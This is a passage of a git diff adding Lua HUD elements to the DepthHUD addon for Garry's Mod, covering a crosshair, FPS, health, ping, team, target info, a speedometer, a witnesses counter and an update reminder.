self.textSmallColorCalc.b = self.pointsSmall[k][2].b + self.textSmallColorCalc.a = self.pointsSmall[k][2].a * self.myAlphaAlter + + self.textSmallColor = self.textSmallColorCalc + self.textSmall = self.pointsSmall[k][1] + end + else + self.textSmall = "" + self.textSmallColor = nil + end + + + self:DrawGenericText(tostring(self.text), tostring(self.textSmall), self.textColor, self.textSmallColor, -1, self.myXEquirel * 0.6, self.myYEquirel * 0.9, -0.3 ) + end + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua new file mode 100644 index 0000000..f9b2b1e --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua @@ -0,0 +1,65 @@ +ELEMENT.Name = "Linebow Crosshair (BETA)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 6 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.STORmaxammo = {} +ELEMENT.tvars = {} + +ELEMENT.traceLineData = {} +ELEMENT.traceLineRes = {} + +ELEMENT.crosshair = surface.GetTextureID("depthhud/linebow_crosshair.vmt") +ELEMENT.crosshairDot = surface.GetTextureID("depthhud/X_CircleSolid.vmt") +ELEMENT.cBaseSize = 52 +ELEMENT.minRate = 1.3 +ELEMENT.maxRate = 1.0 +ELEMENT.dotFrac = 0.07 + +function ELEMENT:Initialize( ) + self:CreateSmoother("chsize", self.cBaseSize, 0.1) + self:CreateSmoother("chx", 0.5*ScrW(), 0.5) + self:CreateSmoother("chy", 0.5*ScrH(), 0.5) +end + +function ELEMENT:DrawFunction( ) + if LocalPlayer():InVehicle() then return false end + local ephem_linebow, ephem_dot = self:GetMyGridPos() + if (ephem_linebow <= 0) and (ephem_dot <= 0) then return false end + + self.traceLineData = util.GetPlayerTrace( LocalPlayer(), LocalPlayer():GetAimVector() ) + self.traceLineRes = util.TraceLine( self.traceLineData ) + + local scrpos = self.traceLineRes.HitPos:ToScreen() + self:ChangeSmootherTarget("chx", scrpos.x) + self:ChangeSmootherTarget("chy", scrpos.y) + local scrpos_smoothx = self:GetSmootherCurrent("chx") + local scrpos_smoothy = self:GetSmootherCurrent("chy") + + local styleColor = dhinline_GetStyleData("color_base") + + local distdet = 1 - self.traceLineRes.Fraction + local size_real = (self.cBaseSize * self.maxRate * distdet) + (self.cBaseSize * self.minRate * (1-distdet)) + self:ChangeSmootherTarget("chsize", size_real) + + + local size_smooth = math.floor(self:GetSmootherCurrent("chsize")) + + + + surface.SetDrawColor(styleColor.r, styleColor.g, styleColor.b, styleColor.a) + if (ephem_linebow > 0) then + ephem_linebow = ephem_linebow / dhinline_GetGridDivideMax() * 2.0 + surface.SetTexture(self.crosshair) + surface.DrawTexturedRectRotated(ScrW()*0.5, ScrH()*0.5, size_smooth*ephem_linebow, size_smooth*ephem_linebow, 0) + end + if (ephem_dot > 0) then + ephem_dot = ephem_dot / dhinline_GetGridDivideMax() * 2.0 + surface.SetTexture(self.crosshairDot) + surface.DrawTexturedRectRotated(scrpos_smoothx, scrpos_smoothy, self.cBaseSize*self.dotFrac*ephem_dot, self.cBaseSize*self.dotFrac*ephem_dot, 0) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua new file mode 100644 index 0000000..5b7ef79 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua @@ -0,0 +1,48 @@ +ELEMENT.Name = "Framerate (Smooth)" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.MaxFramerate = 100 +ELEMENT.colorBadLesser = Color(255,0,0,92) + +function ELEMENT:Initialize( ) + self:CreateSmoother("framerate", 25, 0.01) +end + +function ELEMENT:DrawFunction( ) + local framerate_smooth = math.floor(self:GetSmootherCurrent("framerate")) + + local framerate = nil + if (FrameTime() != 0) then + framerate = math.ceil(1 /FrameTime()) + else + framerate = 0 + end + local smallText = "FPS" + self:ChangeSmootherTarget("framerate", framerate) + + rate = 1 - (1 - math.Clamp(framerate_smooth / self.MaxFramerate,0,1))^2 + + + self:DrawGenericInfobox( +/*Text */ framerate_smooth +/*Subtxt */ ,smallText +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,0.5 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua new file mode 100644 index 0000000..2428b92 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua @@ -0,0 +1,72 @@ +ELEMENT.Name = "Framerate (Fast)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.MaxFramerate = 100 +ELEMENT.colorBadLesser = Color(255,0,0,92) +ELEMENT.colorSlight = Color(0,0,0,92) + +ELEMENT.FPShi_table = {} +ELEMENT.FPShi_max = 5 // Must be > 1 +ELEMENT.FPShi_alphamin = 16 +ELEMENT.FPShi_alphamax = -1 + + +function ELEMENT:Initialize( ) + self:CreateSmoother("framerate", 25, 0.05) + + for i=1,self.FPShi_max do + self.FPShi_table[i] = 25 + end +end + +function ELEMENT:DrawFunction( ) + local framerate_smooth = math.floor(self:GetSmootherCurrent("framerate")) + + local framerate = nil + if (FrameTime() != 0) then + framerate = math.ceil(1 /FrameTime()) + else + framerate = 0 + end + table.remove(self.FPShi_table,1) + table.insert(self.FPShi_table,framerate) + local smallText = "FPS" + self:ChangeSmootherTarget("framerate", framerate) + + rate = 1 - (1 - math.Clamp(framerate_smooth / self.MaxFramerate,0,1))^2 + + + self:DrawGenericInfobox( +/*Text */ "" //framerate_smooth +/*Subtxt */ ,smallText +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,0.5 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + local styleColor = dhinline_GetStyleData("color_base") + self.colorSlight.r = styleColor.r + self.colorSlight.g = styleColor.g + self.colorSlight.b = styleColor.b + self.FPShi_alphamax = styleColor.a / (self.FPShi_max-1) + + for i=self.FPShi_max,1,-1 do + self.colorSlight.a = self.FPShi_alphamax * (1-(1-(i / self.FPShi_max))^2) + self.FPShi_alphamin * (1-(i / self.FPShi_max)^2) + self:DrawGenericText(self.FPShi_table[i], "", self.colorSlight, nil, 2, 1, 0.45, 0 ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua new file mode 100644 index 0000000..db99289 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua @@ -0,0 +1,90 @@ +ELEMENT.Name = "Health" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 16 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.xRelPosEvo = 0 +ELEMENT.yRelPosEvo = -1 + +ELEMENT.EvoLagMul = 2.5 +ELEMENT.EvoDuration = 2 +ELEMENT.EvoPower = 4 + +ELEMENT.LastHealth = 0 + +ELEMENT.color = nil +ELEMENT.accumPositive = Color(0,255,0,255) +ELEMENT.accumNegative = Color(255,0,0,255) +ELEMENT.healthColor = nil +ELEMENT.colorBad = Color(255,0,0,192) +ELEMENT.colorBadLesser = Color(255,0,0,128) + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + //self:DrawGenericContentbox(512, math.floor(32 * 1.4), 128, "aaa") + + if LocalPlayer():Alive() then + self.healthColor = nil + local rate = LocalPlayer():Health() / 100 + if (rate > 0.25) then + self.healthColor = nil + else + self.healthColor = self.colorBad + end + + if (LocalPlayer():Health() != self.LastHealth) then + local accum = dhinline_GetVolatileStorage("health_evolution") or 0 + self.color = nil + local text = "" + accum = accum + (LocalPlayer():Health() - self.LastHealth) + + if (accum > 0) then + self.color = self.accumPositive + text = "+" .. accum + else + self.color = self.accumNegative + text = "" .. accum + end + + + self:UpdateVolatile( +/*Vola */ "health_evolution" +/*xRelOff*/ ,self.xRelPosEvo +/*yRelOff*/ ,self.yRelPosEvo +/*Text */ ,text +/*Color */ ,self.color +/*LagMul */ ,self.EvoLagMul +/*Font */ ,nil +/*Time */ ,self.EvoDuration +/*FadePow*/ ,self.EvoPower +/*Storage*/ ,accum + ) + end + + self:DrawGenericInfobox( +/*Text */ LocalPlayer():Health() +/*Subtxt */ ,"" +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,1.0 +/*maxSize*/ ,1.0 +/*blink< */ ,0.05 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,self.healthColor +/*stColSm*/ ,nil + ) + end + + self.LastHealth = LocalPlayer():Health() + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua new file mode 100644 index 0000000..d90affe --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua @@ -0,0 +1,155 @@ +ELEMENT.Name = "Target Information" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 10 +ELEMENT.SizeX = 0 +ELEMENT.SizeY = -0.7 + +ELEMENT.LastTimeStored = 0 +ELEMENT.PersistTime = 1.0 +ELEMENT.StoredName = "" +ELEMENT.StoredSub = "" + +ELEMENT.HeightStartWaitup = -640.0 +ELEMENT.HeightRateDispell = 0.4 + +ELEMENT.MyTraceData = {} +ELEMENT.MyTraceRes = {} + +ELEMENT.textColor = Color(0, 255, 255, 255) + +ELEMENT.baseColor = dhinline_GetStyleData("color_base") +ELEMENT.baseColorLesser = dhinline_GetStyleData("color_base_lesser") + +function ELEMENT:Initialize() + self:CreateSmoother("width", 0, 0.7) + self:CreateSmoother("height", 1.0, 0.7) + self:CreateSmoother("color" , self.baseColorLesser, 0.1) + self:CreateSmoother("health", 1, 0.2) +end + + + +function ELEMENT:DrawFunction() + local found = false + local blinkSize = -1 + self.MyTraceData = util.GetPlayerTrace( LocalPlayer(), LocalPlayer():GetAimVector() ) + + local Veh = LocalPlayer():GetVehicle() + if IsValid(Veh) then + self.MyTraceData.filter = Veh + end + + + self.MyTraceRes = util.TraceLine( self.MyTraceData ) + + if (self.MyTraceRes.Hit) and (self.MyTraceRes.HitNonWorld) and IsValid(self.MyTraceRes.Entity) and (self.MyTraceRes.Entity != LocalPlayer()) then + local name = "" + local HitEntity = self.MyTraceRes.Entity + + if (HitEntity:IsPlayer()) then + name = HitEntity:Nick() + if (HitEntity.dhradar_communitycolor) then + self:ChangeSmootherTarget("color", HitEntity.dhradar_communitycolor) + else + self:ChangeSmootherTarget("color", team.GetColor(HitEntity:Team())) + end + self:ChangeSmootherTarget("health", math.Clamp(HitEntity:Health()/100,0,1)) + self.StoredSub = "Player" + if (table.Count(team.GetAllTeams()) > 3) then + self.StoredSub = self.StoredSub .. " (" .. team.GetName(HitEntity:Team()) .. ")" + end + else + name = HitEntity:GetClass() + self:ChangeSmootherTarget("color", self.baseColorLesser) + self:ChangeSmootherTarget("health", 1) + if HitEntity:IsNPC() then + self.StoredSub = "NPC" + /* + elseif HitEntity:GetClass() == "gmt_theater" then + self.StoredSub = HitEntity.VideoId + */ + else + local subName = "" + if string.Right(HitEntity:GetModel() , 4) == ".mdl" then + local parts = string.Explode("/", HitEntity:GetModel() ) + subName = dhinline_StringNiceNameTransform( string.Left(parts[#parts] , -5) ) + else + if (string.Left(HitEntity:GetClass(),4) == "prop") then + subName = "Prop" + elseif (string.Left(HitEntity:GetClass(),4) == "func") then + subName = "World Entity" + else + subName = "Entity" + end + end + self.StoredSub = subName + end + end + + name = dhinline_StringNiceNameTransform( name ) + + surface.SetFont( dhinline_GetAppropriateFont(name, 1) ) + local wB, hB = surface.GetTextSize( name ) + surface.SetFont( dhinline_GetAppropriateFont(self.StoredSub, 0) ) + local wS, hS = surface.GetTextSize( self.StoredSub ) + local w = math.Max(wB,wS) + local x, y = self:GetMySizes() + + self:ChangeSmootherTarget("width", 44 + w) + self:ChangeSmootherTarget("height", self.HeightStartWaitup) + self:ChangeSmootherRate("width", 0.7) + self:ChangeSmootherRate("height", 0.7) + self.StoredName = name + + found = true + self.LastTimeStored = RealTime() + end + + if (self.StoredName != "") and (not found) and ((RealTime() - self.LastTimeStored) > self.PersistTime) then + self.StoredName = "" + self.StoredSub = "" + self:ChangeSmootherTarget("color", self.baseColorLesser) + self:ChangeSmootherTarget("health", 1) + + self:ChangeSmootherTarget("width", 0) + self:ChangeSmootherTarget("height", 1.0) + self:ChangeSmootherRate("width", 0.1) + self:ChangeSmootherRate("height", self.HeightRateDispell) + end + + self.SizeX = self:GetSmootherCurrent("width") + if self:GetSmootherCurrent("height") > 0 then + blinkSize = 1.0 + math.Clamp(self:GetSmootherCurrent("height"), 0, 1) + end + local color = self:GetSmootherCurrent("color") + local rate = self:GetSmootherCurrent("health") + + local mX,mY = self:GetMySizes() + if (self.SizeY > -0.1) then + return + end + + self.textColor.r = self.baseColor.r + self.textColor.g = self.baseColor.g + self.textColor.b = self.baseColor.b + self.textColor.a = ( 1 - ((RealTime() - self.LastTimeStored)/self.PersistTime)^8 ) * 255 + + self:DrawGenericInfobox( +/*Text */ self.StoredName +/*Subtxt */ ,self.StoredSub +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,color +/*1.0 col*/ ,color +/*minSize*/ ,0.2 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,blinkSize +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,self.textColor +/*stColSm*/ ,nil + ) + return false +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua new file mode 100644 index 0000000..fc25a94 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua @@ -0,0 +1,103 @@ +ELEMENT.Name = "Ping" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 2 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.PingAlert = 0.15 //IN SECONDS, 0.1 = 100 MS +ELEMENT.PingCur = RealTime() - CurTime() + +ELEMENT.xRelPosEvo = -0.55 +ELEMENT.yRelPosEvo = 0 + +ELEMENT.EvoLagMul = 1.25 +ELEMENT.EvoDuration = 2 +ELEMENT.EvoPower = 4 + +ELEMENT.smootherColor = nil +ELEMENT.colorBad = Color(255,0,0,192) +ELEMENT.colorBadLesser = Color(255,0,0,92) +ELEMENT.colorVolatile = Color(255,192,128,192) + +function ELEMENT:Initialize( ) + self:CreateSmoother("ping", 10, 0.1) + self:CreateSmoother("color", dhinline_GetStyleData("color_base"), 0.1) + + self:CreateSmoother("unsyncpercent", 0, 0.05) +end + +function ELEMENT:DrawFunction( ) + if not game.SinglePlayer() then + local ping_smooth = math.floor(self:GetSmootherCurrent("ping")) + local smallText = "MS" + self:ChangeSmootherTarget("ping", LocalPlayer():Ping()) + + local estimaCheck = math.abs( RealTime() - self.PingCur - CurTime() ) + + self:ChangeSmootherTarget("unsyncpercent", estimaCheck/self.PingAlert) + local currentunsync = self:GetSmootherCurrent("unsyncpercent") + + //Zero is too perfect + if (estimaCheck > self.PingAlert) or (estimaCheck == 0) then + self.PingCur = RealTime() - CurTime() + + self:ChangeSmootherTarget("color", self.colorBad ) + + self:ChangeSmootherRate("color", 0.7) + + local accum = dhinline_GetVolatileStorage("ping_loss") or 0 + accum = accum + 1 + + local text = "" + /*if (accum < 100) then + text = accum .. " UNSYNC" + else + text = accum .. " UNSYNC (ISSUE)" + end*/ + text = "x" .. accum .. "" + if (estimaCheck == 0) then + text = text .. ".." + end + self:UpdateVolatile( +/*Vola */ "ping_loss" +/*xRelOff*/ ,self.xRelPosEvo +/*yRelOff*/ ,self.yRelPosEvo +/*Text */ ,text +/*Color */ ,self.colorVolatile +/*LagMul */ ,self.EvoLagMul +/*Font */ ,-1 +/*Time */ ,self.EvoDuration +/*FadePow*/ ,self.EvoPower +/*Storage*/ ,accum + ) + + else + self.PingCur = self.PingCur + (RealTime() - self.PingCur - CurTime())*0.05*FrameTime() + + self:ChangeSmootherTarget("color", dhinline_GetStyleData("color_base")) + + self:ChangeSmootherRate("color", 0.02) + end + self.smootherColor = self:GetSmootherCurrent("color") + + self:DrawGenericInfobox( + /*Text */ ping_smooth + /*Subtxt */ ,smallText + /* % */ ,1 - currentunsync + /*atRight*/ ,false + /*0.0 col*/ ,self.colorBadLesser + /*1.0 col*/ ,nil + /*minSize*/ ,0.2 + /*maxSize*/ ,1.0 + /*blink< */ ,-1 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,self.smootherColor + /*stColSm*/ ,nil + ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua new file mode 100644 index 0000000..42640bd --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua @@ -0,0 +1,73 @@ +ELEMENT.Name = "Team" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 14 +ELEMENT.SizeX = nil +ELEMENT.SizeY = -0.6 + +ELEMENT.MyTeamID = nil +ELEMENT.MyTeamColor = color_white +ELEMENT.StoredName = "" +ELEMENT.StoredSub = "" + +function ELEMENT:Initialize( ) + self:CreateSmoother("width", 0, 0.3) + self:CreateSmoother("color" , self.MyTeamColor, 0.1) +end + +function ELEMENT:DrawFunction( ) + if game.SinglePlayer() then return end + //if (table.Count(team.GetAllTeams()) == 3) then return end + + //Team Name and Color + if (LocalPlayer():Team() != self.MyTeamID) or (LocalPlayer().dhradar_communitycolor and (self.MyTeamColor != LocalPlayer().dhradar_communitycolor)) then + self.MyTeamID = LocalPlayer():Team() + self.MyTeamColor = LocalPlayer().dhradar_communitycolor or team.GetColor(self.MyTeamID) + + self.StoredSub = team.GetName(self.MyTeamID) + self.StoredSub = (self.StoredSub == "Unassigned") and "Community" or self.StoredSub + + self:ChangeSmootherTarget("color", self.MyTeamColor) + end + + + //Number of players + self.StoredName = team.NumPlayers(self.MyTeamID) .. " player" + if (team.NumPlayers(self.MyTeamID) > 1) then + self.StoredName = self.StoredName .. "s" + end + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredName, 1) ) + local wB, hB = surface.GetTextSize( self.StoredName ) + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredSub, 0) ) + local wS, hS = surface.GetTextSize( self.StoredSub ) + + local w = math.Max(wB,wS) + + self:ChangeSmootherTarget("width", 38 + w) + + + + self.SizeX = self:GetSmootherCurrent("width") + local color = self:GetSmootherCurrent("color") + + self:DrawGenericInfobox( +/*Text */ self.StoredName +/*Subtxt */ ,self.StoredSub +/* % */ ,1.0 +/*atRight*/ ,false +/*0.0 col*/ ,color +/*1.0 col*/ ,color +/*minSize*/ ,0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1 +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + return false +end + diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua new file mode 100644 index 0000000..fc28201 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua @@ -0,0 +1,57 @@ +ELEMENT.Name = "Vehicle Speedometer (MPH)" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.Unit = "MPH" +ELEMENT.UNITLIST = { + ["MPH"] = { + 63360 / 3600, + "MPH", + }, + ["KM/H"] = { + 39370.0787 / 3600, + "KM/H", + }, +} + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + //Vehicle Speed + if LocalPlayer():InVehicle() then + local unit = self.Unit + local vehicleVel = LocalPlayer():GetVehicle():GetVelocity():Length() + local vehicleConv = -1 + local terminal = 0 + + if self.UNITLIST[unit] == nil then + unit = "MPH" + end + terminal = math.Clamp(vehicleVel/2000, 0, 1) + vehicleConv = math.Round(vehicleVel / self.UNITLIST[unit][1]) + + self:DrawGenericInfobox( +/*Text */ vehicleConv +/*Subtxt */ ,self.UNITLIST[unit][2] +/* % */ ,terminal +/*atRight*/ ,true +/*0.0 col*/ ,nil +/*1.0 col*/ ,nil +/*minSize*/ ,0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua new file mode 100644 index 0000000..d5de97f --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua @@ -0,0 +1,57 @@ +ELEMENT.Name = "Vehicle Speedometer (KM/H)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.Unit = "KM/H" +ELEMENT.UNITLIST = { + ["MPH"] = { + 63360 / 3600, + "MPH", + }, + ["KM/H"] = { + 39370.0787 / 3600, + "KM/H", + }, +} + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + //Vehicle Speed + if LocalPlayer():InVehicle() then + local unit = self.Unit + local vehicleVel = LocalPlayer():GetVehicle():GetVelocity():Length() + local vehicleConv = -1 + local terminal = 0 + + if self.UNITLIST[unit] == nil then + unit = "MPH" + end + terminal = math.Clamp(vehicleVel/2000, 0, 1) + vehicleConv = math.Round(vehicleVel / self.UNITLIST[unit][1]) + + self:DrawGenericInfobox( +/*Text */ vehicleConv +/*Subtxt */ ,self.UNITLIST[unit][2] +/* % */ ,terminal +/*atRight*/ ,true +/*0.0 col*/ ,nil +/*1.0 col*/ ,nil +/*minSize*/ ,0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua new file mode 100644 index 0000000..b7b2e26 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua @@ -0,0 +1,131 @@ +ELEMENT.Name = "Witnesses" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.3 +ELEMENT.SizeY = -0.65 + +//ELEMENT.MaxWitnesses = 10 +ELEMENT.colorBadLesser = Color(255,0,0,92) + +ELEMENT.myRealPos = nil +ELEMENT.myTrace = {} +ELEMENT.myTraceRes = {} +ELEMENT.myTraceRes.mask = MASK_SOLID_BRUSHONLY + +ELEMENT.angleCap = math.cos(math.rad(45)) +//print(ELEMENT.angleCap) + +ELEMENT.lastWitnessCheck = 0 +ELEMENT.witnessCheckDelay = 0.3 + +ELEMENT.counter = 0 +ELEMENT.looking = 0 + +ELEMENT.TIME_LastPlayerFind = 0 +ELEMENT.TIME_DELAY_PLY = 2.0 + +ELEMENT.FINDER_Players = {} + +ELEMENT.eyeOffs = Vector(0,0,32) + + +function ELEMENT:Initialize( ) + self:CreateSmoother("area", 0, 0.1) + self:CreateSmoother("looking", 0, 0.1) + self:CreateSmoother("rate", 0, 0.2) +end + +function ELEMENT:UseMyOwnFindPlayers() + if (CurTime() < (self.TIME_LastPlayerFind + self.TIME_DELAY_PLY)) then return end + + self.FINDER_Players = {} + self.FINDER_Players = player.GetAll() + for k,ply in pairs(self.FINDER_Players) do + if (ply:Team() == TEAM_SPECTATOR) then + table.remove( self.FINDER_Players, k ) + end + end + self.TIME_LastPlayerFind = CurTime() +end + +function ELEMENT:GetBestPlayerTable() + if (dhradar_dat and dhradar_dat.FINDER_Players) and (GetConVarNumber("dhradar_enable") > 0) then + return dhradar_dat.FINDER_Players + else + self:UseMyOwnFindPlayers() + return self.FINDER_Players + end +end + +function ELEMENT:DrawFunction( ) + if game.SinglePlayer() then return end + + local area_smooth = nil + local looking_smooth = nil + local rate_smooth = nil + local text = "" + local smallText = "" + local rate = 0 + + local myBestPlayerTable = self:GetBestPlayerTable() + if (CurTime() > ( self.lastWitnessCheck + self.witnessCheckDelay )) then + self.looking = 0 + self.counter = 0 + + self.myRealPos = LocalPlayer():EyePos() + for k,ply in pairs(myBestPlayerTable) do + if ply:IsValid() and (ply != LocalPlayer()) then + self.myTrace.start = self.myRealPos + self.eyeOffs + self.myTrace.endpos = ply:EyePos() + self.eyeOffs + self.myTrace.filter = { ply , LocalPlayer() } + + self.myTraceRes = util.TraceLine( self.myTrace ) + if (not self.myTraceRes.Hit) then + self.counter = self.counter + 1 + + local Norm = (self.myRealPos - ply:EyePos()) + Norm:Normalize() + if (ply:EyeAngles():Forward():DotProduct(Norm) > self.angleCap) then + self.looking = self.looking + 1 + end + end + end + end + self:ChangeSmootherTarget("area", self.counter) + self:ChangeSmootherTarget("looking", self.looking) + + self.lastWitnessCheck = CurTime() + end + + looking_smooth = math.Round(self:GetSmootherCurrent("looking")) + area_smooth = math.Round(self:GetSmootherCurrent("area")) + + rate = (1 - math.Clamp(looking_smooth / math.Clamp(area_smooth,1,128),0,1))^2 + self:ChangeSmootherTarget("rate", rate) + + text = looking_smooth .. " / " .. area_smooth + smallText = "WITNESSES" + + rate_smooth = self:GetSmootherCurrent("rate") + + + self:DrawGenericInfobox( +/*Text */ text +/*Subtxt */ ,smallText +/* % */ ,rate_smooth or rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,1.0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua new file mode 100644 index 0000000..40831af --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua @@ -0,0 +1,139 @@ +// NOTE : This is ONLY a REMINDER. It doesn't check for updates +// periodically while in the middle of a game. +// Updates are checked when map loads. +// This element ONLY displays a message 45 seconds after map loading, +// for 15 seconds, ONCE a map, and does not display if up to date. + +ELEMENT.Name = "On-screen Update Reminder" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 15 +ELEMENT.SizeX = nil +ELEMENT.SizeY = -0.7 + +ELEMENT.baseColor = dhinline_GetStyleData("color_base") + +ELEMENT.PersistTime = 15.0 //How long the message displays +ELEMENT.CheckAfterLoadingDelay = 45.0 //The delay before message appears + + +ELEMENT.GetVersionRealTime = RealTime() + ELEMENT.CheckAfterLoadingDelay + +ELEMENT.SafeEndDraw = 5.0 +ELEMENT.StoredName = "" +ELEMENT.StoredSub = "" +ELEMENT.Blinkcap = -1 + +ELEMENT.HeightStartWaitup = -640.0 +ELEMENT.HeightRateDispell = 0.4 + +ELEMENT.WarningColor = Color(64,192,64,192) + +ELEMENT.AlreadyChecked = false +ELEMENT.IsDisplayingPopup = false + +ELEMENT.textColor = Color(ELEMENT.baseColor.r, ELEMENT.baseColor.g, ELEMENT.baseColor.b, 255) + +function ELEMENT:Initialize( ) + self:CreateSmoother("width", 0, 0.7) + self:CreateSmoother("height", 1.0, 0.7) +end + +function ELEMENT:DrawFunction() + if not self.IsDisplayingPopup then + if self.AlreadyChecked then return end + if RealTime() < self.GetVersionRealTime then return end + end + + self.AlreadyChecked = true + + local myVer,svnVer,dlLink = dhinline_GetVersionData() + + if not self.IsDisplayingPopup and ((svnVer == nil) or (svnVer == -1) or (myVer >= svnVer)) then + 